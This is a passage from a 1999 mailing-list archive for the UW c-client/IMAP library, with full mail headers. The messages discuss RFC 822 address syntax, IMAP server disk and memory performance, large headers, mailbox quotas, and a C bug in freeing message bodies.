lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with SMTP id KAA23804; Thu, 9 Sep 1999 10:40:52 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id KAA10136 for ; Thu, 9 Sep 1999 10:39:03 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA04861 for ; Thu, 9 Sep 1999 10:39:02 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (alex@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA14443 for ; Thu, 9 Sep 1999 10:39:02 -0700 Message-Id: Date: Thu, 9 Sep 1999 10:14:23 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Edmund GRIMLEY-EVANS Cc: c-client Interest List Subject: re: unpleasant e-mail addresses In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 09 Sep 1999 11:20:07 +0100, Edmund GRIMLEY-EVANS wrote: > RFC 822 seems to allow some ghastly things like > From: x."@@".\.@a.[1 2 3].com "a.[1 2 3].com" is not valid in the RFC 822 successor, nor has it ever been valid as an Internet address. > Have these things ever been officially disallowed or discouraged? The RFC 822 successor abolishes mixing of domain literals with domains. If a domain literal appears, it must be the only part of the domain. The RFC 822 successor specifically forbids unquoted spaces in the local part and domain. Some people misunderstood RFC 822's rules (and the note at the bottom of page 8 of RFC 822) to content that spaces are allowed around "." characters (trust me, I was there when RFC 822 was written and that note on page 8 was written -- it was specifically intended that these not be allowed). Domain literals are a type of quoting, thus spaces continue to be allowed there. This reflects what has been practical reality for many years. It was never an issue until a certain individual decided to waste people's time for over a year arguing about it. > Does c-client try to support them? c-client is in compliance with the RFC 822 successor. However, the fact that c-client supports various bizarre addresses doesn't mean that you should actually use them. > Is it guaranteed anywhere that different ways of quoting or escaping > are to be treated as equivalent Yes From pinedev@shivax2.cac.washington.edu Thu Sep 9 16:21:28 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Sep 1999 16:21:28 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA01584 for ; Thu, 9 Sep 1999 16:21:27 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA25738; Thu, 9 Sep 1999 16:21:25 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with SMTP id QAA05956; Thu, 9 Sep 1999 16:20:24 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id QAA13426 for ; Thu, 9 Sep 1999 16:19:35 -0700 Received: from hawaii.phillips.com (gate.phillips.com [205.177.58.10]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id QAA17283 for ; Thu, 9 Sep 1999 16:19:34 -0700 Received: from crete.corp.phillips.com by hawaii.phillips.com via smtpd (for mxu4.u.washington.edu [140.142.33.8]) with SMTP; 9 Sep 1999 23:19:30 UT Received: from marc (marc [172.17.17.70]) by crete.corp.phillips.com (8.9.3/8.9.3) with SMTP id TAA03043; Thu, 9 Sep 1999 19:19:23 -0400 (EDT) Message-Id: <04b801befb19$930539e0$461111ac@corp.phillips.com> Date: Thu, 9 Sep 1999 19:18:05 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Marc Mason" To: Cc: , "James Hurst" Subject: Outlook Express and "Check for Messages in all Folders" MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am running imapd 4.6 beta on a Sun Enterprise 450 with 4*250MHZ CPU's and 3.5GB's of RAM. The build information is as follows.... * OK crete IMAP4rev1 v12.251 server ready I am running standard UNIX mailbox format on all user accounts and I am supporting 1100 corporate users. I have /var/mail mounted on a Veritas File System running as a software RAID 0+1 using Veritas Volume manager with two disks for the stripe set. I have a script that puts an IMAP alert on a user's account when the inbox size is over 10MB's. Performance for the files in the user inboxes is acceptable. I have made /tmp a RAID 0, and /var/spool/mqueue is a separate disk. I am having trouble with the performance of the remaining user folders which are in their home directories. Currently the users are on a software RAID-5 consisting of 4 disks. I clearly have a problem with write saturation as users are complaining that it takes forever to save mail to their "sent mail" folder on the server. I have a limited set of users that either don't have saving to the "sent mail" folder, or have a home directory on another disk, and they have not seen the degradation in performance. I'm planning to regroove the home directories this weekend and create a RAID 0+1 with 4 disks in the stripe set. I figure that will help overall performance. 1) Should I use the Veritas File System, or am I better off sticking with UFS? 2) I have noted that a lot of our users have "Check for Messages in all Folders" enabled. Is this option as hard on a server as one might intuit? This seems to be a Microsoft default. Either I'm getting cross-eyed or the daily accounting reports are showing me that we are transferring 1/2 a Terabyte a day! Are there any other client-side settings that Microsoft has set that are really hard on a server? Is the synchronize folders setting hard on the server. I notice a smaller number of users have this set. Load either stays in range or goes right off the charts when we get any kind of steady inflow of mail to a limited set of user that have procmail set ups that route the bulk of their mail to their home directory. I run the "virtual adrian" application and it confirms the disk saturation as frequently critical. The application has also complained less frequently of amber (warning) level memory shortages and a couple amber mutex stalls. I don't want to convert to mbx format unless I have to for a number of reasons, is there anything else I can do to improve system performance? Marc Mason 1-301-340-7788 ext. 3448 UNIX Systems Specialist Phillips Publishing International, INC. mmason@philliips.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 13 08:55:55 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 13 Sep 1999 08:55:55 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA03854 for ; Sun, 12 Sep 1999 16:15:47 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA00820; Sun, 12 Sep 1999 16:15:46 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with SMTP id QAA09015; Sun, 12 Sep 1999 16:14:37 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id QAA41334 for ; Sun, 12 Sep 1999 16:13:39 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (azuma@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA06000 for ; Sun, 12 Sep 1999 16:13:38 -0700 Message-Id: Date: Sun, 12 Sep 1999 16:01:30 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Brenda G. Spielman" Cc: c-client Subject: re: Large header fields In-Reply-To: <199909121804_MC2-8484-8FB4@compuserve.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Yes, the correct way to do this is to use your own output routine via SET_RFC822OUTPUT. You need to count up the sizes of everything (mail_search_addr() shows an example of a worst-case size calculation) so you can allocate a big enough bigbuf; or alternatively do bounds checking for each single token. The worst-case size calculation is probably the better bet. The 8K buffer only occurs in the SMTP and NNTP default posting routines. There is no such limitation on the sizes of headers being read. However, why are you generating such long To fields? This suggests that you are doing the wrong thing to begin with. Nobody should ever generate 8K+ headers. From pinedev@shivax2.cac.washington.edu Mon Sep 13 08:56:11 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 13 Sep 1999 08:56:11 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA02988 for ; Sun, 12 Sep 1999 15:08:55 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA29693; Sun, 12 Sep 1999 15:08:53 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with SMTP id PAA19147; Sun, 12 Sep 1999 15:07:35 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id PAA11406 for ; Sun, 12 Sep 1999 15:05:35 -0700 Received: from spdmgaad.compuserve.com (ds-img-4.compuserve.com [149.174.206.137]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA04313 for ; Sun, 12 Sep 1999 15:05:35 -0700 Received: (from mailgate@localhost) by spdmgaad.compuserve.com (8.9.3/8.9.3/SUN-1.5) id SAA11122 for c-client@u.washington.edu; Sun, 12 Sep 1999 18:05:34 -0400 (EDT) Message-Id: <199909121804_MC2-8484-8FB4@compuserve.com> Date: Sun, 12 Sep 1999 18:04:06 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Brenda G. Spielman" To: c-client Subject: Large header fields MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline X-Sender: "Brenda G. Spielman" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am using imap-4.4 c-client. I have to be able to deal with large headers (in excess of 8k). This is= going to include modifying or replacing rfc822_write_address_full and writing an output = (using SET_RFC822OUTPUT) routine to be used when building the headers to send. The excess size will be in the 'To' field which will be sent and also have to be retrieved & modified. Has anyone done this & have suggestions to offer? (I did check imap-4.6BETA to see if the applicable routines had been modified any, and= they haven't.) Thanks Brenda Gates Spielman bgspielman@acm.org -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 15 07:27:43 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Sep 1999 07:27:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA29204 for ; Wed, 15 Sep 1999 07:27:42 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA12585; Wed, 15 Sep 1999 07:27:38 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id HAA26580; Wed, 15 Sep 1999 07:25:50 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id HAA05550 for ; Wed, 15 Sep 1999 07:23:13 -0700 Received: from mail.dunsirn.com (mail.dunsirn.com [209.224.255.18]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id HAA07268 for ; Wed, 15 Sep 1999 07:23:12 -0700 Received: from jade.dunsirn.com by mail.dunsirn.com via smtpd (for mxu3.u.washington.edu [140.142.33.7]) with SMTP; 15 Sep 1999 16:22:18 UT Received: from dunsirn.com ([129.0.10.14]) by jade.dunsirn.com (8.9.3/8.9.3) with ESMTP id JAA24389 for ; Wed, 15 Sep 1999 09:23:11 -0500 Message-Id: <37DFAACB.ADC3FD5C@dunsirn.com> Date: Wed, 15 Sep 1999 09:18:52 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Nickel To: c-client@u.washington.edu Cc: c-client@u.washington.edu Subject: Re: Shared Library vs Static Library Linking References: ,<025501bece3e$877441f0$2601a8c0@voicerite> <199907160956.KAA18715@phy.hw.ac.uk> <013b01becfab$bd77b9d0$2601a8c0@voicerite> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN A while back I wrote to this list inquiring about building the c-client library shared vs. static. Well, I think that I've got some interesting results from that little experiment. Nothing, though, that Mark Crispin didn't really elude to in replies to my previous messages. Here goes: My Platform: Dell PowerEdge 1300, PII 333mHz w/ 192mb ram 4GB HD for OS and 9GB HD for /home imapd-4.6-Beta we are using Netscape Mail Client 4.61 (the assumption is that most email users are going to leave their mail client running throughout the day, not just check mail when they want to but letting the client do the checking every 10 minutes) we estimate that approximately 80 - 100 people will eventually be on this box. c-client was built as a shared library. imapd and its related tools were also built linking to the shared c-client. We are testing this setup with the 5 of us in the IS department. Here is the results of a "free" command: total used free shared buffers cached Mem: 192892 133192 59700 25016 82264 26236 -/+ buffers/cache: 24692 168200 Swap: 128484 1112 127372 (At the end of this message I'm including output of my "ps -aux | sort" command so you have an idea of what is running on this box.) Something just seems wrong with that memory utilization. I'm I spec'ing these machines too light on physical memory? Should I scrap the shared library thing and build as static? Will I see better memory utilization? My gut instinct is that I'm underestimating the physical memory that will be required for 80-100 people leaving imapd running. Each imapd process seems to use average 1.1mb of ram. (The amout used seems to vary based on what the users are doing within netscape) So 100 users @ 1.1mb each is about 110mb of ram... The 192mb I've got should be enough to handle that number of users, but as the "free" command shows, it seems that 192mb isn't enough. I would really appreciate any insights. Thanks! Mark [output of ps -aux | sort ] USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND bin 245 0.0 0.1 1088 288 ? S Sep13 0:00 portmap daemon 317 0.0 0.1 1112 284 ? S Sep13 0:00 /usr/sbin/atd klippert 11218 0.0 0.8 2576 1656 ? S 07:53 0:00 imapd mbrochtr 11229 0.0 0.6 2280 1348 ? S 07:59 0:00 imapd mnickel 11476 0.0 0.6 2220 1236 ? S 08:48 0:00 imapd mnickel 11553 0.0 0.6 2260 1328 ? S 09:00 0:00 imapd mnickel 11581 0.0 0.4 1712 952 pts/0 S 09:08 0:00 -bash mnickel 11607 0.0 0.4 2644 956 pts/0 R 09:12 0:00 ps -aux mnickel 11608 0.0 0.4 1712 952 pts/0 R 09:12 0:00 -bash nobody 526 0.0 0.4 2556 916 ? S Sep13 0:00 httpd nobody 527 0.0 0.5 2556 968 ? S Sep13 0:00 httpd nobody 528 0.0 0.5 2556 972 ? S Sep13 0:00 httpd nobody 529 0.0 0.5 2556 972 ? S Sep13 0:00 httpd nobody 530 0.0 0.5 2556 972 ? S Sep13 0:00 httpd root 1 0.0 0.2 1096 476 ? S Sep13 0:07 init [3] root 2 0.0 0.0 0 0 ? SW Sep13 0:00 [kflushd] root 3 0.0 0.0 0 0 ? SW Sep13 0:00 [kpiod] root 4 0.0 0.0 0 0 ? SW Sep13 0:00 [kswapd] root 5 0.0 0.0 0 0 ? SW< Sep13 0:00 [mdrecoveryd] root 292 0.0 0.2 1264 540 ? S Sep13 0:08 syslogd -m 0 root 303 0.0 0.3 1360 648 ? S Sep13 0:00 klogd root 331 0.0 0.2 1284 532 ? S Sep13 0:00 crond root 349 0.0 0.2 1236 512 ? S Sep13 0:00 inetd root 363 0.0 0.4 2264 888 ? S Sep13 0:09 named root 377 0.0 0.2 1284 516 ? S Sep13 0:00 lpd root 395 0.0 0.2 1128 488 ? S Sep13 0:00 rpc.statd root 406 0.0 0.0 1072 124 ? S Sep13 0:00 rpc.rquotad root 417 0.0 0.0 1132 132 ? S Sep13 0:00 rpc.mountd root 432 0.0 0.0 0 0 ? SW Sep13 0:00 [nfsd] root 433 0.0 0.0 0 0 ? SW Sep13 0:00 [nfsd] root 434 0.0 0.0 0 0 ? SW Sep13 0:00 [nfsd] root 435 0.0 0.0 0 0 ? SW Sep13 0:00 [nfsd] root 436 0.0 0.0 0 0 ? SW Sep13 0:00 [nfsd] root 437 0.0 0.0 0 0 ? SW Sep13 0:00 [nfsd] root 438 0.0 0.0 0 0 ? SW Sep13 0:00 [nfsd] root 439 0.0 0.0 0 0 ? SW Sep13 0:00 [nfsd] root 440 0.0 0.0 0 0 ? SW Sep13 0:00 [lockd] root 441 0.0 0.0 0 0 ? SW Sep13 0:00 [rpciod] root 469 0.0 0.8 3752 1616 ? S Sep13 0:00 slapd root 470 0.0 0.8 3752 1616 ? S Sep13 0:02 slapd root 471 0.0 0.8 3752 1616 ? S Sep13 0:06 slapd root 492 0.0 0.3 1992 744 ? S Sep13 0:03 sendmail: accepti root 507 0.0 0.1 1124 384 ? S Sep13 0:00 gpm -t imps2 root 521 0.0 0.5 2384 1072 ? S Sep13 0:02 httpd root 556 0.0 0.2 2208 524 ? S Sep13 0:00 smbd -D root 567 0.0 0.3 1856 668 ? S Sep13 0:02 nmbd -D root 639 0.0 0.5 2136 1008 tty1 S Sep13 0:00 login -- root root 640 0.0 0.1 1060 384 tty2 S Sep13 0:00 /sbin/mingetty tt root 641 0.0 0.1 1060 384 tty3 S Sep13 0:00 /sbin/mingetty tt root 642 0.0 0.1 1060 384 tty4 S Sep13 0:00 /sbin/mingetty tt root 643 0.0 0.1 1060 384 tty5 S Sep13 0:00 /sbin/mingetty tt root 644 0.0 0.1 1060 384 tty6 S Sep13 0:00 /sbin/mingetty tt root 646 0.0 0.0 1052 116 ? S Sep13 0:02 update (bdflush) root 11235 0.0 0.5 1740 980 tty1 S 08:07 0:00 -bash root 11579 0.0 0.4 1672 860 ? S 09:08 0:00 in.telnetd root 11580 0.0 0.5 2156 1060 pts/0 S 09:08 0:00 login -- mnickel swolf 11385 0.0 0.7 2320 1440 ? S 08:23 0:00 imapd xfs 541 0.0 0.4 1988 908 ? S Sep13 0:00 xfs From pinedev@shivax2.cac.washington.edu Sat Sep 18 07:17:55 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sat, 18 Sep 1999 07:17:55 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA09522 for ; Sat, 18 Sep 1999 07:17:54 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA06093; Sat, 18 Sep 1999 07:17:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id HAA03480; Sat, 18 Sep 1999 07:16:10 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA16670 for ; Sat, 18 Sep 1999 07:13:22 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA10178 for ; Sat, 18 Sep 1999 07:13:22 -0700 Received: from aragorn.neomedia.it (aragorn.neomedia.it [195.103.207.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA06001 for ; Sat, 18 Sep 1999 07:13:20 -0700 Received: from neomedia.it (elrond.neomedia.it [195.120.250.8]) by aragorn.neomedia.it (8.9.3/8.9.3) with ESMTP id QAA12560 for ; Sat, 18 Sep 1999 16:13:17 +0200 (CEST) Message-Id: <37E39DFD.A4926393@neomedia.it> Date: Sat, 18 Sep 1999 16:13:17 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Federico Giannici To: c-client Subject: Cannot delete large email with quotas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: giannici@neomedia.it X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm using IMAP 4.6 of September 1 into a PC with OpenBSD 2.5 i386. I wasn't able to delete a very large e-mail (9.2MB) into a folder where there were other 55 little messages for a total of 9.5MB. Note that into the /var/mail partition quotas are active, and the corresponding user have a 10MB quota. Please note that quotas are active only into the /var/mail partition, so if the IMAP server have to create a temporary file, it should have no problem using /tmp. The problem occurred both with Netscape 4 and with IMP (a webmail reader). I had to use "mail" to delete that single email. Any solution? Thanks. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 21 02:58:43 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Sep 1999 02:58:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA05174 for ; Tue, 21 Sep 1999 02:58:42 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA06728; Tue, 21 Sep 1999 02:58:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id CAA27632; Tue, 21 Sep 1999 02:57:20 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA51502 for ; Tue, 21 Sep 1999 02:55:38 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA28414 for ; Tue, 21 Sep 1999 02:55:37 -0700 Received: from hotmail.com (f252.hotmail.com [207.82.251.143]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id CAA19512 for ; Tue, 21 Sep 1999 02:55:37 -0700 Received: (qmail 51947 invoked by uid 0); 21 Sep 1999 09:55:07 -0000 Received: from 195.81.52.109 by www.hotmail.com with HTTP; Tue, 21 Sep 1999 02:55:06 PDT Message-Id: <19990921095507.51946.qmail@hotmail.com> Date: Tue, 21 Sep 1999 09:55:06 GMT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Koos Starfield" To: c-client@CAC.Washington.EDU Subject: Freeing Body parts Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [195.81.52.109] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The problem i have is that freeing with mail_free_body always generates an error (gpf or seg fault,..whatever). I've included an excerpt of the code i use to send one attachment in a multipart message, i have an Envelope env and two bodies called : 1.head -> this is of multipart mime type body 2.body -> this is the attachment body I use param_attachment to fill the body->parameter. after i send with smtp_mail i want to free the envelope env, this works fine. Then i think i want to free the body part called head, but this goes wrong. But if try it with body it also goes wrong. does anybody know a solution , or can anyone point out what is going wrong? code is: BODY *head = mail_newbody (); BODY *body = mail_newbody (); PARAMETER *param_attachment = mail_newbody_parameter(); rfc822_parse_adrlist (&env->reply_to,from, ""); rfc822_parse_adrlist (&env->return_path,from, ""); // Base64 encoding body->encoding = ENCBINARY; body->type = TYPEAPPLICATION ; head->description = STR_MEM_ASSIGN("mail"); param_attachment->attribute = STR_MEM_ASSIGN("filename"); param_attachment->value = STR_MEM_ASSIGN(filenaam); param_attachment->next = NULL; body->parameter = param_attachment; body->disposition.type = STR_MEM_ASSIGN("attachment"); body->disposition.parameter = param_attachment; body->subtype = STR_MEM_ASSIGN(filenaam); body->contents.text.data = (void *) text; //text is a void pointer body->contents.text.size = size; body->size.bytes = (int) (size / 8); head->type = TYPEMULTIPART; head->nested.part = mail_newbody_part(); head->nested.part->body = *body; smtp_mail (smtp_stream,"MAIL",env, head) mail_free_envelope (&(env)); mail_free_body (&(head)); ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 21 10:14:42 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Sep 1999 10:14:41 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA13634 for ; Tue, 21 Sep 1999 10:14:40 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA15863; Tue, 21 Sep 1999 10:14:38 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id KAA03658; Tue, 21 Sep 1999 10:12:56 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA47232 for ; Tue, 21 Sep 1999 10:10:49 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA05113 for ; Tue, 21 Sep 1999 10:10:49 -0700 Received: from aragorn.neomedia.it (aragorn.neomedia.it [195.103.207.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA15768 for ; Tue, 21 Sep 1999 10:10:47 -0700 Received: from neomedia.it (elrond.neomedia.it [195.120.250.8]) by aragorn.neomedia.it (8.9.3/8.9.3) with ESMTP id TAA22063 for ; Tue, 21 Sep 1999 19:10:44 +0200 (CEST) Message-Id: <37E7BC14.26DFFC3B@neomedia.it> Date: Tue, 21 Sep 1999 19:10:44 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Federico Giannici To: c-client Subject: UW_IMAP and quotas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: giannici@neomedia.it X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN As I had no reply to my previous email, now I'll try to make a simpler question. Is uw_imap supposed to correctly handle mailboxes (mbox format) with quotas (standard unix filesystem quota)? Thanks. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 21 10:27:51 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Sep 1999 10:27:51 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA14029 for ; Tue, 21 Sep 1999 10:27:50 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA16295; Tue, 21 Sep 1999 10:27:48 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id KAA05515; Tue, 21 Sep 1999 10:25:32 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA38758 for ; Tue, 21 Sep 1999 10:23:36 -0700 Received: from 